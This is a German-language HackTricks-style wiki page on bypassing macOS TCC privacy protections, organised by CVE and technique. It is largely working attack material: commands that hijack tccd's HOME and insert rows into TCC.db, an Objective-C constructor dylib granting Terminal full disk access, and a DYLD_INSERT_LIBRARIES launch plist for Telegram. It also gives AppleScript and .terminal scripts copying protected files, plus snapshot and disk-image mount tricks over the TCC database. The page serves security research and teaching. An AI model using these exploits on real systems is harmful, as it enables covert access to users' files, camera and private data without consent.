macOS TCC Bypasses

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Nach Funktionalität

Schreibumgehung

Dies ist keine Umgehung, es ist einfach, wie TCC funktioniert: Es schützt nicht vor dem Schreiben. Wenn das Terminal keinen Zugriff zum Lesen des Desktops eines Benutzers hat, kann es dennoch darin schreiben:

username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd

Die erweiterte Dateiattribute com.apple.macl wird der neuen Datei hinzugefügt, um der Ersteller-App Zugriff auf das Lesen zu gewähren.

TCC ClickJacking

Es ist möglich, ein Fenster über die TCC-Aufforderung zu platzieren, um den Benutzer dazu zu bringen, es unbemerkt zu akzeptieren. Ein PoC dazu finden Sie unter TCC-ClickJacking.

TCC-Anfrage mit beliebigem Namen

Ein Angreifer kann Apps mit beliebigem Namen (z. B. Finder, Google Chrome...) in der Info.plist erstellen und diese dazu bringen, Zugriff auf einen durch TCC geschützten Speicherort anzufordern. Der Benutzer wird denken, dass die legitime Anwendung diejenige ist, die diesen Zugriff anfordert. Darüber hinaus ist es möglich, die legitime App aus dem Dock zu entfernen und die gefälschte dort zu platzieren, sodass, wenn der Benutzer auf die gefälschte App klickt (die dasselbe Symbol verwenden kann), diese die legitime aufrufen könnte, um TCC-Berechtigungen anzufordern und Malware auszuführen, sodass der Benutzer glaubt, dass die legitime App den Zugriff angefordert hat.

Weitere Informationen und PoC unter:

pagemacOS Privilege Escalation

SSH-Bypass

Standardmäßig hatte ein Zugriff über SSH "Voller Festplattenzugriff". Um dies zu deaktivieren, muss es aufgelistet, aber deaktiviert sein (es aus der Liste zu entfernen entfernt diese Berechtigungen nicht):

Hier finden Sie Beispiele, wie einige Malwares es geschafft haben, diesen Schutz zu umgehen:

Beachten Sie, dass jetzt, um SSH aktivieren zu können, Voller Festplattenzugriff benötigt wird.

Dateierweiterungen behandeln - CVE-2022-26767

Das Attribut com.apple.macl wird Dateien gegeben, um einer bestimmten Anwendung Berechtigungen zum Lesen zu geben. Dieses Attribut wird gesetzt, wenn eine Datei über eine App gezogen wird oder wenn ein Benutzer eine Datei doppelklickt, um sie mit der Standardanwendung zu öffnen.

Daher könnte ein Benutzer eine bösartige App registrieren, um alle Erweiterungen zu behandeln und Launch Services aufrufen, um eine beliebige Datei zu öffnen (damit der bösartigen Datei Zugriff gewährt wird).

iCloud

Mit der Berechtigung com.apple.private.icloud-account-access ist es möglich, mit dem com.apple.iCloudHelper XPC-Dienst zu kommunizieren, der iCloud-Token bereitstellt.

iMovie und Garageband hatten diese Berechtigung und andere, die erlaubt waren.

Für weitere Informationen über den Exploit zum Erhalt von iCloud-Token aus dieser Berechtigung, siehe den Vortrag: #OBTS v5.0: "Was passiert auf Ihrem Mac, bleibt in Apples iCloud?!" - Wojciech Regula

kTCCServiceAppleEvents / Automation

Eine App mit der Berechtigung kTCCServiceAppleEvents kann andere Apps steuern. Dies bedeutet, dass sie die Berechtigungen, die anderen Apps gewährt wurden, missbrauchen könnte.

Für weitere Informationen zu Apple Scripts siehe:

pagemacOS Apple Scripts

Wenn eine App z. B. Automatisierungsberechtigung über iTerm hat, hat in diesem Beispiel Terminal Zugriff auf iTerm:

Über iTerm

Terminal, der kein FDA hat, kann iTerm aufrufen, der es hat, und es verwenden, um Aktionen auszuführen:

iterm.script
tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell
osascript iterm.script

Über Finder

Oder wenn eine App über den Finder Zugriff hat, könnte es ein Skript wie dieses sein:

set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

Nach App-Verhalten

CVE-2020–9934 - TCC

Der Benutzerbereich tccd-Dämon verwendet die HOME env-Variable, um auf die TCC-Benutzerdatenbank von folgendem Pfad zuzugreifen: $HOME/Library/Application Support/com.apple.TCC/TCC.db

Gemäß diesem Stack Exchange-Beitrag und da der TCC-Dämon über launchd innerhalb der aktuellen Benutzerdomäne läuft, ist es möglich, alle Umgebungsvariablen zu kontrollieren, die an ihn übergeben werden. Daher könnte ein Angreifer die $HOME-Umgebungsvariable in launchctl setzen, um auf ein kontrolliertes Verzeichnis zu verweisen, den TCC-Dämon neu starten und dann die TCC-Datenbank direkt ändern, um sich alle verfügbaren TCC-Berechtigungen zu geben, ohne den Endbenutzer jemals zur Eingabe aufzufordern. PoC:

# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents

CVE-2021-30761 - Notizen

Notizen hatten Zugriff auf TCC-geschützte Orte, aber wenn eine Notiz erstellt wird, wird dies an einem nicht geschützten Ort erstellt. Daher könnte man Notizen bitten, eine geschützte Datei in eine Notiz zu kopieren (also an einen nicht geschützten Ort) und dann auf die Datei zuzugreifen:

CVE-2021-30782 - Translokation

Die Binärdatei /usr/libexec/lsd mit der Bibliothek libsecurity_translocate hatte die Berechtigung com.apple.private.nullfs_allow, die es ermöglichte, ein nullfs-Laufwerk zu erstellen, und hatte die Berechtigung com.apple.private.tcc.allow mit kTCCServiceSystemPolicyAllFiles, um auf jede Datei zuzugreifen.

Es war möglich, das Quarantäneattribut zu "Library" hinzuzufügen, den com.apple.security.translocation XPC-Dienst aufzurufen und dann würde Library auf $TMPDIR/AppTranslocation/d/d/Library gemappt, wo alle Dokumente in Library zugegriffen werden konnten.

CVE-2023-38571 - Musik & TV

Musik hat eine interessante Funktion: Wenn es läuft, werden die in ~/Music/Music/Media.localized/Automatically Add to Music.localized abgelegten Dateien in die "Mediathek" des Benutzers importiert. Darüber hinaus ruft es etwas wie auf: **rename(a, b);** wobei a und b sind:

  • a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"

  • b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3

Dieses rename(a, b);-Verhalten ist anfällig für eine Race Condition, da es möglich ist, eine gefälschte TCC.db-Datei in den Ordner Automatically Add to Music.localized zu legen und dann, wenn der neue Ordner (b) erstellt wird, die Datei zu kopieren, zu löschen und auf ~/Library/Application Support/com.apple.TCC/ zu verweisen.

SQLITE_SQLLOG_DIR - CVE-2023-32422

Wenn SQLITE_SQLLOG_DIR="Pfad/Ordner" bedeutet dies im Grunde, dass jede geöffnete DB in diesen Pfad kopiert wird. In diesem CVE wurde diese Steuerung missbraucht, um innerhalb einer SQLite-Datenbank zu schreiben, die von einem Prozess mit FDA der TCC-Datenbank geöffnet wird, und dann SQLITE_SQLLOG_DIR mit einem Symlink im Dateinamen zu missbrauchen, sodass, wenn diese Datenbank geöffnet wird, die Benutzer-TCC.db mit der geöffneten überschrieben wird. Weitere Informationen im Bericht und in der Präsentation.

SQLITE_AUTO_TRACE

Wenn die Umgebungsvariable SQLITE_AUTO_TRACE gesetzt ist, wird die Bibliothek libsqlite3.dylib alle SQL-Abfragen protokollieren. Viele Anwendungen verwendeten diese Bibliothek, daher war es möglich, alle ihre SQLite-Abfragen zu protokollieren.

Mehrere Apple-Anwendungen verwendeten diese Bibliothek, um auf TCC-geschützte Informationen zuzugreifen.

# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1

MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407

Diese Umgebungsvariable wird vom Metal-Framework verwendet, das eine Abhängigkeit von verschiedenen Programmen darstellt, insbesondere von Music, das FDA hat.

Durch das Setzen von: MTL_DUMP_PIPELINES_TO_JSON_FILE="Pfad/Name". Wenn Pfad ein gültiges Verzeichnis ist, wird der Fehler ausgelöst und wir können fs_usage verwenden, um zu sehen, was im Programm passiert:

  • Es wird eine Datei open()ed, namens Pfad/.dat.nosyncXXXX.XXXXXX (X ist zufällig)

  • Ein oder mehrere write()s schreiben den Inhalt in die Datei (den wir nicht kontrollieren)

  • Pfad/.dat.nosyncXXXX.XXXXXX wird zu Pfad/Name umbenannt()

Es handelt sich um einen temporären Dateischreibvorgang, gefolgt von einem umbenennen(alter, neuer), der nicht sicher ist.

Es ist nicht sicher, da es die alten und neuen Pfade separat auflösen muss, was einige Zeit in Anspruch nehmen kann und anfällig für eine Race Condition sein kann. Weitere Informationen finden Sie in der xnu-Funktion renameat_internal().

Also, im Grunde genommen, wenn ein privilegierter Prozess aus einem von Ihnen kontrollierten Ordner umbenennt, könnten Sie eine RCE gewinnen und ihn dazu bringen, auf eine andere Datei zuzugreifen oder, wie in diesem CVE, die von der privilegierten App erstellte Datei zu öffnen und einen FD zu speichern.

Wenn das Umbenennen auf einen von Ihnen kontrollierten Ordner zugreift, während Sie die Quelldatei geändert haben oder einen FD dazu haben, ändern Sie die Zieldatei (oder den Ordner) so, dass sie auf einen Symlink zeigt, sodass Sie schreiben können, wann immer Sie möchten.

Dies war der Angriff im CVE: Um beispielsweise die TCC.db des Benutzers zu überschreiben, können wir:

  • /Users/hacker/ourlink erstellen, das auf /Users/hacker/Library/Application Support/com.apple.TCC/ zeigt

  • das Verzeichnis /Users/hacker/tmp/ erstellen

  • MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db setzen

  • den Fehler auslösen, indem Sie Music mit dieser Umgebungsvariable ausführen

  • den open() von /Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX (X ist zufällig) abfangen

  • hier öffnen wir diese Datei auch zum Schreiben und behalten den Dateideskriptor bei

  • wechseln Sie atomar /Users/hacker/tmp mit /Users/hacker/ourlink in einer Schleife

  • Wir tun dies, um unsere Chancen zu maximieren, da das Zeitfenster für das Rennen ziemlich knapp ist, aber das Verlieren des Rennens hat vernachlässigbare Nachteile

  • warten Sie einen Moment

  • überprüfen, ob wir Glück hatten

  • wenn nicht, führen Sie den Vorgang erneut aus

Weitere Informationen unter https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html

Wenn Sie nun versuchen, die Umgebungsvariable MTL_DUMP_PIPELINES_TO_JSON_FILE zu verwenden, starten die Apps nicht.

Apple Remote Desktop

Als Root können Sie diesen Dienst aktivieren und der ARD-Agent hat vollen Festplattenzugriff, der dann von einem Benutzer missbraucht werden könnte, um ihn dazu zu bringen, eine neue TCC-Benutzerdatenbank zu kopieren.

Durch NFSHomeDirectory

TCC verwendet eine Datenbank im HOME-Verzeichnis des Benutzers, um den Zugriff auf benutzerspezifische Ressourcen unter $HOME/Library/Application Support/com.apple.TCC/TCC.db zu steuern. Daher könnte der Benutzer, wenn es ihm gelingt, TCC mit einer $HOME-Umgebungsvariable zu starten, die auf einen anderen Ordner zeigt, eine neue TCC-Datenbank in /Library/Application Support/com.apple.TCC/TCC.db erstellen und TCC dazu bringen, einer beliebigen App beliebige TCC-Berechtigungen zu gewähren.

Beachten Sie, dass Apple die Einstellung, die im Benutzerprofil im NFSHomeDirectory-Attribut gespeichert ist, für den Wert von $HOME verwendet. Wenn Sie also eine Anwendung kompromittieren, die Berechtigungen zum Ändern dieses Werts hat (kTCCServiceSystemPolicySysAdminFiles), können Sie diese Option mit einem TCC-Bypass wirksam einsetzen.

CVE-2021-30970 - Powerdir

Der erste POC verwendet dsexport und dsimport, um das HOME-Verzeichnis des Benutzers zu ändern.

  1. Erhalten Sie einen csreq-Blob für die Ziel-App.

  2. Platzieren Sie eine gefälschte TCC.db-Datei mit erforderlichem Zugriff und dem csreq-Blob.

  3. Exportieren Sie den Eintrag des Benutzerverzeichnisdienstes mit dsexport.

  4. Ändern Sie den Eintrag des Verzeichnisdienstes, um das Home-Verzeichnis des Benutzers zu ändern.

  5. Importieren Sie den modifizierten Eintrag des Verzeichnisdienstes mit dsimport.

  6. Stoppen Sie den tccd des Benutzers und starten Sie den Prozess neu.

Der zweite POC verwendete /usr/libexec/configd, das com.apple.private.tcc.allow mit dem Wert kTCCServiceSystemPolicySysAdminFiles hatte. Es war möglich, configd mit der Option -t auszuführen. Ein Angreifer konnte eine benutzerdefinierte Bundle zum Laden angeben. Daher ersetzt der Exploit die Methode des Änderns des Home-Verzeichnisses des Benutzers mit einem configd-Codeinjektion anstelle der dsexport- und dsimport-Methode.

Für weitere Informationen lesen Sie den Originalbericht.

Durch Prozesseinspritzung

Es gibt verschiedene Techniken, um Code in einen Prozess einzuspritzen und seine TCC-Berechtigungen zu missbrauchen:

pagemacOS Process Abuse

Darüber hinaus ist die häufigste Prozesseinspritzung zur Umgehung von TCC über Plugins (Bibliothek laden). Plugins sind zusätzlicher Code, normalerweise in Form von Bibliotheken oder Plist, der vom Hauptprogramm geladen wird und unter seinem Kontext ausgeführt wird. Daher, wenn das Hauptprogramm Zugriff auf TCC-eingeschränkte Dateien hatte (über gewährte Berechtigungen oder Entitlements), wird der benutzerdefinierte Code dies ebenfalls haben.

CVE-2020-27937 - Directory Utility

Die Anwendung /System/Library/CoreServices/Applications/Directory Utility.app hatte das Entitlement kTCCServiceSystemPolicySysAdminFiles, lud Plugins mit der Erweiterung .daplug und hatte nicht die gehärtete Laufzeitumgebung.

Um diesen CVE zu nutzen, wird das NFSHomeDirectory geändert (unter Ausnutzung des vorherigen Entitlements), um in der Lage zu sein, die TCC-Datenbank des Benutzers zu übernehmen, um TCC zu umgehen.

Für weitere Informationen lesen Sie den Originalbericht.

CVE-2020-29621 - Coreaudiod

Die Binärdatei /usr/sbin/coreaudiod hatte die Berechtigungen com.apple.security.cs.disable-library-validation und com.apple.private.tcc.manager. Die erste erlaubt Code-Injektion und die zweite gibt Zugriff, um TCC zu verwalten.

Diese Binärdatei erlaubte das Laden von Plug-Ins von Drittanbietern aus dem Ordner /Library/Audio/Plug-Ins/HAL. Daher war es möglich, mit diesem PoC ein Plugin zu laden und die TCC-Berechtigungen zu missbrauchen:

#import <Foundation/Foundation.h>
#import <Security/Security.h>

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");

CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);

TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}

__attribute__((constructor)) static void constructor(int argc, const char **argv) {

add_tcc_entry();

NSLog(@"[+] Exploitation finished...");
exit(0);

Für weitere Informationen siehe den Originalbericht.

Geräteabstraktionsschicht (Device Abstraction Layer, DAL) Plug-Ins

Systemanwendungen, die den Kamerastream über Core Media I/O öffnen (Apps mit kTCCServiceCamera), laden im Prozess diese Plugins, die sich in /Library/CoreMediaIO/Plug-Ins/DAL befinden (nicht durch SIP eingeschränkt).

Es reicht aus, dort eine Bibliothek mit dem üblichen Konstruktor zu speichern, um Code einzuschleusen.

Mehrere Apple-Anwendungen waren anfällig dafür.

Firefox

Die Firefox-Anwendung hatte die Berechtigungen com.apple.security.cs.disable-library-validation und com.apple.security.cs.allow-dyld-environment-variables:

codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key><true/>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>

Für weitere Informationen darüber, wie man dies leicht ausnutzen kann, überprüfen Sie den Originalbericht.

CVE-2020-10006

Die Binärdatei /system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl hatte die Berechtigungen com.apple.private.tcc.allow und com.apple.security.get-task-allow, was es ermöglichte, Code in den Prozess einzuspeisen und die TCC-Berechtigungen zu nutzen.

CVE-2023-26818 - Telegram

Telegram hatte die Berechtigungen com.apple.security.cs.allow-dyld-environment-variables und com.apple.security.cs.disable-library-validation, daher war es möglich, sie zu missbrauchen, um Zugriff auf ihre Berechtigungen wie z.B. das Aufnehmen mit der Kamera zu erhalten. Sie können das Payload im Bericht finden.

Beachten Sie, wie man die Umgebungsvariable verwendet, um eine Bibliothek zu laden, eine benutzerdefinierte plist wurde erstellt, um diese Bibliothek einzuspeisen, und launchctl wurde verwendet, um sie zu starten:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
launchctl load com.telegram.launcher.plist

Durch offene Aufrufe

Es ist möglich, open auch während der Sandboxing-Ausführung aufzurufen.

Terminalskripte

Es ist ziemlich üblich, dem Terminal Full Disk Access (FDA) zu gewähren, zumindest in Computern, die von Technikern verwendet werden. Und es ist möglich, .terminal-Skripte damit aufzurufen.

.terminal-Skripte sind plist-Dateien wie diese mit dem Befehl, der im Schlüssel CommandString ausgeführt werden soll:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>

Eine Anwendung könnte ein Terminalskript an einem Ort wie /tmp schreiben und es mit einem Befehl wie folgt starten:

// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];

Durch Einhängen

CVE-2020-9771 - mount_apfs TCC Umgehung und Privilegieneskalation

Jeder Benutzer (auch nicht privilegierte) kann ein Zeitmaschinensnapshot erstellen und einhängen und ALLE Dateien dieses Snapshots zugreifen. Die einzige erforderliche Berechtigung ist, dass die verwendete Anwendung (wie Terminal) Zugriff auf Vollen Festplattenzugriff (FDA) (kTCCServiceSystemPolicyAllfiles) benötigt, der von einem Administrator gewährt werden muss.

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

Eine ausführlichere Erklärung finden Sie im Originalbericht.

CVE-2021-1784 & CVE-2021-30808 - Mount über TCC-Datei

Auch wenn die TCC-DB-Datei geschützt ist, war es möglich, über das Verzeichnis zu mounten eine neue TCC.db-Datei:

# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg

# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")

Überprüfen Sie das vollständige Exploit im ursprünglichen Bericht.

asr

Das Tool /usr/sbin/asr erlaubte es, die gesamte Festplatte zu kopieren und an einem anderen Ort zu mounten, wodurch die TCC-Schutzmaßnahmen umgangen wurden.

Standortdienste

Es gibt eine dritte TCC-Datenbank in /var/db/locationd/clients.plist, um Clients zu kennzeichnen, die Zugriff auf Standortdienste haben dürfen. Der Ordner /var/db/locationd/ war nicht vor DMG-Mounting geschützt, daher war es möglich, unser eigenes plist zu mounten.

Durch Startanwendungen

pagemacOS Auto Start

Durch grep

In mehreren Fällen werden Dateien sensible Informationen wie E-Mails, Telefonnummern, Nachrichten... an nicht geschützten Orten speichern (was als Sicherheitslücke bei Apple gilt).

Synthetische Klicks

Das funktioniert nicht mehr, aber es hat in der Vergangenheit funktioniert:

Ein anderer Weg unter Verwendung von CoreGraphics-Ereignissen:

Referenz

Last updated